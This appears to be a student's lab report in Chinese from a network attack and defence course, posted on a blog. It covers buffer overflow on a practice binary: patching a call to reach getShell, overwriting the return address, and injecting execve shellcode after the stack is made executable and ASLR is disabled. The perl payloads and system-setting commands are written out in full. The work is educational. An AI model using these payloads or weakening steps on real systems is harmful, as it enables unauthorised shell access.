首页 > 其他分享 >20222415 2024-2025-1 《网络与系统攻防技术》实验一实验报告

20222415 2024-2025-1 《网络与系统攻防技术》实验一实验报告

时间:2024-10-11 13:44:34浏览次数:11  
标签:x90 2024 2025 gdb 20222415 input pwn20222415 shellcode 输入

1.实验内容

本周学习了缓冲区溢出的相关知识,介绍了缓冲区和缓冲区溢出,并介绍了几种缓冲区溢出的实现方式。

2.实验过程

1.直接修改程序机器指令,改变程序执行流程
1.1将目标文件pwn20222415通过共享文件夹放到kali里,运行pwn20222415.

1.2输入objdump -d pwn1 | more对pwn20222415进行反汇编,找到getshell、foo、main这三个函数,为达到目的,需要将main函数中call指令中的foo的8048491修改成804847d,即需要将0xd7ffffff替换为0xc3ffffff

1.3复制一个新文件pwn20222415tianruqi,修改新文件,将d7改成c3,实现对getshell函数的调用

再次反汇编pwm20222415tianruqi,看是否调用了geyshell,可以看到call后面跟的是getshell

1.4./pwn20222415tianruqi验证结果

2.通过构造输入参数,造成BOF攻击,改变程序执行流
2.1使用gdb pwn20222415进行调试,经过分析我需要将1234替换为getShell的地址0x0804847d,需要构造如下字符串:11111111222222223333333344444444\x7d\x84\x04\x08
通过输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input构造输入字符串,使用xxd input查看是否正确

2.2复制一个新的文件pwn20222415ruki,使用(cat input;cat) | ./pwn20222415ruki命令将input文件中的字符串作为可执行文件的输入:

3.注入Shellcode并执行
3.1修改设置
execstack -s pwn20222415设置堆栈可执行
execstack -q pwn20222415查询文件的堆栈是否可执行

echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
more /proc/sys/kernel/randomize_va_space验证地址随机化是否关闭

3.2构造要使用的payload
perl -e 'print "A" x 32; print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
输入(cat input_shellcode; cat) | ./pwn20222415命令将input_shellcode的输入内容作为pwn20222415的输入

新打开一个终端,输入ps -ef | grep pwn3命令查看pwn20222415文件的进程及进程号,可以看到进程号为15720:

启动gdb调试这个进程:输入gdb pwn20222415来获取foo函数returnaddress的位置,输入命令attach 15720,输入刚刚查找的进程号15720
通过设置断点,来查看注入buf的内存地址:输入命令disassemble foo,反编译foo函数并进行分析

输入命令break *0x080484ae
在新终端输入c,在老终端按一下enter键
输入info r esp查看栈顶指针所在位置,得到栈顶指针位置0xffffcfbc
使用x/16x 0xffffcfdc命令查看该地址处的存放内容,看到了0x04030201,说明找到了要的地址,栈顶指针地址再加4字节,就是shellcode应该处于的地址,即0xffffcfbc+4=0xffffcfc0。

在原终端通过perl -e 'print "A" x 32;print "\xc0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode构造要注入的字符串,并输入(cat input_shellcode; cat) | ./pwn20222415,将input_shellcode的输入内容作为pwn20222415的输入。
3.3可以看到成功调用了getshell函数。

3.问题及解决方案

  • 问题1:没有execstack服务
  • 问题1解决方案:直接使用sudo apt-get install execstack提示安装失败,在网上下载execstack_0.0.20131005-1+b10_amd64.deb放入共享文件夹,使用sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb进行解压安装,安装成功。
  • 问题2:输入gdb命令提示没有该命令
  • 问题2解决方案:使用sudo apt update和sudo apt install gdb命令安装gdb

4.学习感悟、思考等

本次实验跟着教程做没出现什么太大的问题,通过本次实验,我对缓冲区溢出有了更加深刻的认识。一开始我对于这个实验的过程可以说是一窍不通,只能跟着教程照猫画虎,但是由于一开始虚拟机配置问题导致我后面重新做了一次实验,在第二次进行实验时我尝试一点点搞清楚教程,后面发现自己可以弄懂我在做什么,要做什么了。虽然我还是存在这一些不足,但我相信通过继续学习,我肯定可以更加完善自己。

标签:x90,2024,2025,gdb,20222415,input,pwn20222415,shellcode,输入
From: https://www.cnblogs.com/2415trq/p/18458153

相关文章

  • 20222319zzs 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    1.实验内容1.1知识回顾1.1.1什么是缓冲区溢出?计算机中,如果程序试图向一个缓冲区填充超出它能够容纳的数据,溢出的数据可能会覆盖其他重要的内存区域,导致程序运行失败甚至崩溃,如果这些溢出数据是精心设计的.则攻击者就可以利用它们指向预先设计的攻击代码(shellcode)(Shellcode是核......
  • 自学网络安全(黑客技术)2024年 —90天学习计划
    ......
  • 洛谷P10387 [蓝桥杯 2024 省 A] 训练士兵
    洛谷P10387[蓝桥杯2024省A]训练士兵1.Mysolution#include<stdio.h>#include<algorithm>#include<cmath>#include<iostream>#include<set>#include<string>#defineFor(i,j,n)for(inti=j;i<=n;++i)template&l......
  • 20241011 模拟赛总结
    得分:100+100+0+2=202感觉还行了。T1单调队列优化DP,花了将近45min,最开始写了一个假的DP花了太多时间了。T2原本像写一个乱搞,没想到就直接过了?对于每一行的第一个位置,先求出以这个点为左上顶点的答案,然后向右推,动态维护这个正方形即可,赌的就是相邻格子的答案差不会太大,所......
  • 2024大模型AI方向怎么样了?是可以入坑的吗?
    前言随着人工智能技术的迅猛发展,特别是大型语言模型(LLMs)的兴起,AI大模型已经成为当今科技领域的热门话题。不论是对希望转型进入AI行业的职场人士,还是对未来充满憧憬的学生来说,掌握AI大模型的相关知识和技术都显得尤为重要。那么,在2024年,大模型AI方向的发展情况如何?现在是不......
  • 第一篇博客(2024级新生的简单自我介绍及学习编程经历)
    亲爱的读者: 大家好!先来谈谈我写这篇博客的目的吧,写这篇博客的目的便是:1.做一个自我介绍。2.讲一讲我了解编程学习以及大学的经历。3.谈谈我对于我自己编程学习的看法。(学习目标,学习方法,花费时间)4.锻炼我的写作能力。(1)首先,本人网名为“尘饰”,来自于江西某个大学的2024级新......
  • 2024/10/10 模拟赛总结
    \(0+45+20+25=90\),T1暴力写挂唐完了#A.植物收集显然催熟次数一定小于\(n\),否则不会更优。对于催熟次数\(k\)确定时,每个种子能形成的其他种子一定如下图:那么这就变成了一个滑动窗口板子。由于当催熟次数\(k\)递增时,催熟的价格线性递增,买种子的价格单调不增,且减量单调递......
  • DATAGERRY REST API身份验证绕过漏洞(CVE-2024-46627)
    0X01产品描述:        ‌DATAGERRY是一个灵活的开源CMDB和资产管理工具,它完全将数据模型的定义留给用户。‌用户只需在一个易于使用的webfrontend中定义自己的对象类型(如服务器、路由器、租赁线路、位置等)。通过DATAGERRY的导出API,存储在DATAGERRY中的CMDB对象可以轻......
  • 2024前端高频面试题之一
    1.从输入URL到页面显示发生了什么(1)缓存查询(查询优先级:浏览器缓存,系统缓存,路由器缓存)(2)DNS解析,把网址解析唯一IP【网址是为了方便记忆】(3)执行tcp三次握手,建立http链接(4)浏览器拿到返回的数据渲染页面【可能存在跨域问题】(5)断开tcp连接2.fetch和ajax的......
  • 2024-10-11 自定义渲染之arco-design-vue table的columns的title ==》使用DOM插入子元
    嗯...不知我没找到arco对应tabletitle的自定义渲染的正确方式 但我已经找了1个小时了,既然没找到就自己插入吧业务场景如下: 给表头插入一个必填的符号*,就这么简单的需求。代码如下:constelements:any=document.querySelectorAll('.arco-table-th-title');elements.f......